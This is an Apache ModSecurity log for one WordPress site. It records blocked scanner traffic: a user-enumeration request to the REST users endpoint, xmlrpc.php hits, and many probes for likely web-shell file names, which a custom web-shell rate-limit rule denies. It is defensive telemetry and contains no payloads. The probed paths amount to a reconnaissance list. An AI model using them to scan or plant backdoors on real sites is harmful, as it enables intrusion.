[Wed May 13 08:17:22.424935 2026] [:error] [pid 23787:tid 23866] [client 139.218.216.97:50045] [client 139.218.216.97] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agPDEh1cs5wE7VT6wiqxxQAAAJI"]
[Wed May 13 08:17:23.136189 2026] [:error] [pid 23887:tid 23900] [client 5.224.30.227:59067] [client 5.224.30.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.224.30.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agPDE9SKmvZJZkXBFDATlwAAAMU"]
[Wed May 13 08:17:41.954355 2026] [:error] [pid 23782:tid 23833] [client 139.218.216.97:50335] [client 139.218.216.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.218.216.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agPDJSBrKFYHXUGnR-qGmwAAAEw"]
[Wed May 13 10:43:11.813520 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:22343] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agPlP9SKmvZJZkXBFDBFvwAAAMg"]
[Wed May 13 10:43:12.758741 2026] [:error] [pid 23782:tid 23828] [client 20.48.166.247:22283] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agPlQCBrKFYHXUGnR-qedAAAAEc"]
[Wed May 13 10:43:13.502183 2026] [:error] [pid 23787:tid 23851] [client 20.48.166.247:22380] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agPlQR1cs5wE7VT6wirOwwAAAIM"]
[Wed May 13 10:43:14.244881 2026] [:error] [pid 23787:tid 23870] [client 20.48.166.247:22398] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp3.php"] [unique_id "agPlQh1cs5wE7VT6wirOxwAAAJY"]
[Wed May 13 10:43:14.792190 2026] [:error] [pid 23780:tid 23811] [client 20.48.166.247:22350] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/birlingsless.php"] [unique_id "agPlQnXgOibPjrXgeTBdxAAAABE"]
[Wed May 13 10:43:15.254158 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:22291] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/birlingsless.php"] [unique_id "agPlQx1cs5wE7VT6wirOyQAAAIw"]
[Wed May 13 10:43:15.723277 2026] [:error] [pid 23780:tid 23818] [client 20.48.166.247:22384] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/birlingsless.php"] [unique_id "agPlQ3XgOibPjrXgeTBdxQAAABg"]
[Wed May 13 10:43:16.186881 2026] [:error] [pid 23787:tid 23864] [client 20.48.166.247:22338] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/birlingsless.php"] [unique_id "agPlRB1cs5wE7VT6wirOywAAAJA"]
[Wed May 13 10:43:16.669017 2026] [:error] [pid 23780:tid 23799] [client 20.48.166.247:22348] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agPlRHXgOibPjrXgeTBdxgAAAAU"]
[Wed May 13 10:43:17.205518 2026] [:error] [pid 3259:tid 3276] [client 20.48.166.247:22383] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agPlReWJB4YwcPVLeArElQAAAQ8"]
[Wed May 13 10:43:17.673689 2026] [:error] [pid 23780:tid 23794] [client 20.48.166.247:22395] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agPlRXXgOibPjrXgeTBdxwAAAAA"]
[Wed May 13 10:43:18.219170 2026] [:error] [pid 3259:tid 3266] [client 20.48.166.247:22379] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unvouc.php"] [unique_id "agPlRuWJB4YwcPVLeArEmQAAAQU"]
[Wed May 13 10:43:18.719470 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22374] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agPlRuWJB4YwcPVLeArEmwAAAQM"]
[Wed May 13 10:43:19.292697 2026] [:error] [pid 23887:tid 23899] [client 20.48.166.247:22337] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agPlR9SKmvZJZkXBFDBFwQAAAMQ"]
[Wed May 13 10:43:20.027049 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22352] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agPlSNSKmvZJZkXBFDBFwwAAANQ"]
[Wed May 13 10:43:20.636804 2026] [:error] [pid 23780:tid 23796] [client 20.48.166.247:22368] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agPlSHXgOibPjrXgeTBdyAAAAAI"]
[Wed May 13 10:43:21.207728 2026] [:error] [pid 23887:tid 23904] [client 20.48.166.247:22292] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agPlSdSKmvZJZkXBFDBFxAAAAMk"]
[Wed May 13 10:43:21.735929 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22346] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agPlSeWJB4YwcPVLeArEqAAAARU"]
[Wed May 13 10:43:22.248600 2026] [:error] [pid 23787:tid 23870] [client 20.48.166.247:22278] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agPlSh1cs5wE7VT6wirO2gAAAJY"]
[Wed May 13 10:43:22.854330 2026] [:error] [pid 23787:tid 23867] [client 20.48.166.247:22399] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agPlSh1cs5wE7VT6wirO2wAAAJM"]
[Wed May 13 10:43:23.626907 2026] [:error] [pid 23780:tid 23810] [client 20.48.166.247:22378] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agPlS3XgOibPjrXgeTBdywAAABA"]
[Wed May 13 10:43:24.302111 2026] [:error] [pid 23780:tid 23803] [client 20.48.166.247:22275] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agPlTHXgOibPjrXgeTBdzAAAAAk"]
[Wed May 13 10:43:24.844387 2026] [:error] [pid 23782:tid 23844] [client 20.48.166.247:22344] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agPlTCBrKFYHXUGnR-qehAAAAFc"]
[Wed May 13 10:43:25.379618 2026] [:error] [pid 23780:tid 23806] [client 20.48.166.247:22272] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agPlTXXgOibPjrXgeTBdzgAAAAw"]
[Wed May 13 10:43:25.948057 2026] [:error] [pid 3259:tid 3277] [client 20.48.166.247:22274] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agPlTeWJB4YwcPVLeArErQAAARA"]
[Wed May 13 10:43:26.504158 2026] [:error] [pid 3259:tid 3276] [client 20.48.166.247:22396] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agPlTuWJB4YwcPVLeArErwAAAQ8"]
[Wed May 13 10:43:27.020905 2026] [:error] [pid 3259:tid 3275] [client 20.48.166.247:22286] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agPlT-WJB4YwcPVLeArEsAAAAQ4"]
[Wed May 13 10:43:27.555470 2026] [:error] [pid 3259:tid 3284] [client 20.48.166.247:22345] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links.php"] [unique_id "agPlT-WJB4YwcPVLeArEsQAAARc"]
[Wed May 13 10:43:28.055792 2026] [:error] [pid 23780:tid 23812] [client 20.48.166.247:22220] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agPlUHXgOibPjrXgeTBd0AAAABI"]
[Wed May 13 10:43:28.609853 2026] [:error] [pid 23782:tid 23823] [client 20.48.166.247:22353] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agPlUCBrKFYHXUGnR-qehwAAAEI"]
[Wed May 13 10:43:29.235758 2026] [:error] [pid 23787:tid 23872] [client 20.48.166.247:22331] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agPlUR1cs5wE7VT6wirO4gAAAJg"]
[Wed May 13 10:43:29.743838 2026] [:error] [pid 23887:tid 23906] [client 20.48.166.247:22347] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/wp-info.php"] [unique_id "agPlUdSKmvZJZkXBFDBFygAAAMs"]
[Wed May 13 10:43:30.236105 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22375] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agPlUtSKmvZJZkXBFDBFywAAAMw"]
[Wed May 13 10:43:30.772875 2026] [:error] [pid 23787:tid 23853] [client 20.48.166.247:22279] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agPlUh1cs5wE7VT6wirO4wAAAIU"]
[Wed May 13 10:43:31.277413 2026] [:error] [pid 23787:tid 23865] [client 20.48.166.247:22281] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agPlUx1cs5wE7VT6wirO5AAAAJE"]
[Wed May 13 10:43:31.731710 2026] [:error] [pid 23782:tid 23829] [client 20.48.166.247:22393] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colour.php"] [unique_id "agPlUyBrKFYHXUGnR-qeiQAAAEg"]
[Wed May 13 10:43:32.254826 2026] [:error] [pid 23782:tid 23826] [client 20.48.166.247:22302] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agPlVCBrKFYHXUGnR-qeigAAAEU"]
[Wed May 13 10:43:32.777156 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22342] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agPlVNSKmvZJZkXBFDBFzgAAAMM"]
[Wed May 13 10:43:33.266090 2026] [:error] [pid 23787:tid 23863] [client 20.48.166.247:22392] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agPlVR1cs5wE7VT6wirO5QAAAI8"]
[Wed May 13 10:43:33.753863 2026] [:error] [pid 23787:tid 23858] [client 20.48.166.247:22312] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "agPlVR1cs5wE7VT6wirO5wAAAIo"]
[Wed May 13 10:43:34.354400 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:22386] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agPlVh1cs5wE7VT6wirO6QAAAII"]
[Wed May 13 10:43:34.935781 2026] [:error] [pid 23780:tid 23796] [client 20.48.166.247:22359] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agPlVnXgOibPjrXgeTBd1QAAAAI"]
[Wed May 13 10:43:35.453820 2026] [:error] [pid 3259:tid 3261] [client 20.48.166.247:22320] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agPlV-WJB4YwcPVLeArEuQAAAQA"]
[Wed May 13 10:43:36.014507 2026] [:error] [pid 23782:tid 23831] [client 20.48.166.247:22294] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "agPlWCBrKFYHXUGnR-qejwAAAEo"]
[Wed May 13 10:43:36.601481 2026] [:error] [pid 23780:tid 23814] [client 20.48.166.247:22397] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agPlWHXgOibPjrXgeTBd2QAAABQ"]
[Wed May 13 10:43:37.111894 2026] [:error] [pid 23887:tid 23899] [client 20.48.166.247:22389] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agPlWdSKmvZJZkXBFDBF0gAAAMQ"]
[Wed May 13 10:43:37.650672 2026] [:error] [pid 23780:tid 23806] [client 20.48.166.247:22373] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agPlWXXgOibPjrXgeTBd2gAAAAw"]
[Wed May 13 10:43:38.154493 2026] [:error] [pid 3259:tid 3285] [client 20.48.166.247:22391] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "agPlWuWJB4YwcPVLeArEvwAAARg"]
[Wed May 13 10:43:38.633943 2026] [:error] [pid 23780:tid 23801] [client 20.48.166.247:22371] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agPlWnXgOibPjrXgeTBd2wAAAAc"]
[Wed May 13 10:43:39.093797 2026] [:error] [pid 23782:tid 23821] [client 20.48.166.247:22222] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agPlWyBrKFYHXUGnR-qekQAAAEA"]
[Wed May 13 10:43:39.556644 2026] [:error] [pid 23782:tid 23838] [client 20.48.166.247:22340] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agPlWyBrKFYHXUGnR-qekgAAAFE"]
[Wed May 13 10:43:40.013711 2026] [:error] [pid 23887:tid 23906] [client 20.48.166.247:22365] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agPlXNSKmvZJZkXBFDBF3AAAAMs"]
[Wed May 13 10:43:40.525705 2026] [:error] [pid 3259:tid 3277] [client 20.48.166.247:22152] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agPlXOWJB4YwcPVLeArExAAAARA"]
